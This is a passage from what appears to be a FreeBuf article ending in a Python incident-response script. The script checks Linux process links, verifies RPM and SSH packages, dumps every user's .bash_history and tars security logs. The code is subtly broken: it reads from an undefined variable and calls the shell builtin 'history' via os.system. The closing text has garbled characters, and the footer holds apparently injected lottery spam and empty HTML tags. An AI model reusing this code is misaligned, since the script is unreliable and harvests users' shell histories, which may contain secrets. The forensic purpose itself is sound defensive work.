        proc_exe=os.system("find /proc -path '/proc/sys/fs' -prune -o -print |xargs  ls -al | grep 'exe ->' | sort -u")
    #rpm包信息
        rpm=os.system("rpm -aV")
    #sshx相关rpm检测
        ssh_rpm=os.system("rpm -qa|grep ssh|xargs rpm -qV")
    
    #日志获取
    #history命令历史记录
        history=os.system("history")
    #其他用户历史记录,无需判断该用户是否有shell,如apche用户无history文件,若该用户执行了命令,可从audit日志中发现
        os.system("ls /home > 1.txt")
        f1 = open("1.txt", "r")
        for file in f.readlines():
         file = file.strip()
         path = "/home/" + file + "/.bash_history"
         a = os.path.exists(path)
         try:
            if a == True:
                os.system("cat %s" % path)
         except FileNotFoundError:
            pass
        f1.close()
    
    #var相关log日志获取,audit日志,btmp日志,wtmp日志,secure日志,corn日志,lastlog日志
        os.system("tar -zcf var_log.tar.gz  /var/log/audit \/var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* \/var/log/lastlog")
    
    if __name__ == "__main__":
        info()
    

    文中根据自己的经验和学?#30333;?#32467;,能力有限,欢迎大?#32961;?#20805;,若有错误,还望大佬指正。

    *本文原创作者:罹?殇,本文属FreeBuf原创奖励计划,未经许可禁止转载

    Loading...
  • 3月

    四月去挖洞,五月出国游
    进行中
  • css.php 天津11选5开奖
    <input id="eiiko"></input>
    <menu id="eiiko"><blockquote id="eiiko"></blockquote></menu>
  • <bdo id="eiiko"><samp id="eiiko"></samp></bdo>
  • <input id="eiiko"></input>
    <menu id="eiiko"><blockquote id="eiiko"></blockquote></menu>
  • <bdo id="eiiko"><samp id="eiiko"></samp></bdo>